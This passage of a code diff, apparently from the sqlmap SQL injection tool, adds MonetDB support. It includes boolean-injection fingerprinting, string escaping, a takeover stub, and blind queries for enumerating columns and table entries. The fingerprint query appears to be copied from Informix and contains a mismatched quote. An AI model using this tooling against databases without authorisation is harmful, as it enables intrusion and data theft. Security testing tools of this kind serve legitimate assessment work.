+            infoMsg = "actively fingerprinting %s" % DBMS.MONETDB
+            logger.info(infoMsg)
+
+            for version in ("14.1", "12.1", "11.7", "11.5", "10.0"):
+                output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version)
+
+                if output:
+                    Backend.setVersion(version)
+                    break
+
+            return True
+        else:
+            warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB
+            logger.warn(warnMsg)
+
+            return False
--- a/plugins/dbms/monetdb/syntax.py
+++ b/plugins/dbms/monetdb/syntax.py
@ -0,0 +1,40 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import re
+
+from lib.core.common import isDBMSVersionAtLeast
+from lib.core.common import randomStr
+from lib.core.convert import getOrds
+from plugins.generic.syntax import Syntax as GenericSyntax
+
+class Syntax(GenericSyntax):
+    @staticmethod
+    def escape(expression, quote=True):
+        """
+        >>> from lib.core.common import Backend
+        >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE(97)||CODE(98)||CODE(99)||CODE(100)||CODE(101)||CODE(102)||CODE(103)||CODE(104) FROM foobar"
+        True
+        """
+
+        def escaper(value):
+            return "||".join("CODE(%d)" % _ for _ in getOrds(value))
+
+        retVal = expression
+
+        if isDBMSVersionAtLeast("11.70"):
+            excluded = {}
+            for _ in re.findall(r"DBINFO\([^)]+\)", expression):
+                excluded[_] = randomStr()
+                expression = expression.replace(_, excluded[_])
+
+            retVal = Syntax._escape(expression, quote, escaper)
+
+            for _ in excluded.items():
+                retVal = retVal.replace(_[1], _[0])
+
+        return retVal
--- a/plugins/dbms/monetdb/takeover.py
+++ b/plugins/dbms/monetdb/takeover.py
@ -0,0 +1,15 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+from plugins.generic.takeover import Takeover as GenericTakeover
+
+class Takeover(GenericTakeover):
+    def __init__(self):
+        self.__basedir = None
+        self.__datadir = None
+
+        GenericTakeover.__init__(self)
--- a/plugins/generic/databases.py
+++ b/plugins/generic/databases.py
@ -26,6 +26,7 @@ from lib.core.common import pushValue
 from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import safeSQLIdentificatorNaming
+from lib.core.common import safeStringFormat
 from lib.core.common import singleTimeLogMessage
 from lib.core.common import singleTimeWarnMessage
 from lib.core.common import unArrayizeValue
@ -580,7 +581,7 @@ class Databases(object):
                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB):
                    query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

@ -722,7 +723,7 @@ class Databases(object):
                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
+                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB):
                    query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery

@ -797,6 +798,9 @@ class Databases(object):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                        query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery)
                        field = None
+                    elif Backend.isDbms(DBMS.MONETDB):
+                        query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index))
+                        field = None
                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper()))
                        query += condQuery
@ -846,6 +850,8 @@ class Databases(object):
                                query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column)
                            elif Backend.isDbms(DBMS.INFORMIX):
                                query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column)
+                            elif Backend.isDbms(DBMS.MONETDB):
+                                query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))

                            colType = unArrayizeValue(inject.getValue(query, union=False, error=False))
                            key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType
--- a/plugins/generic/entries.py
+++ b/plugins/generic/entries.py
@ -415,6 +415,8 @@ class Entries(object):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
                                    elif Backend.isDbms(DBMS.INFORMIX):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
+                                    elif Backend.isDbms(DBMS.MONETDB):
+                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)

                                    query = agent.whereQuery(query)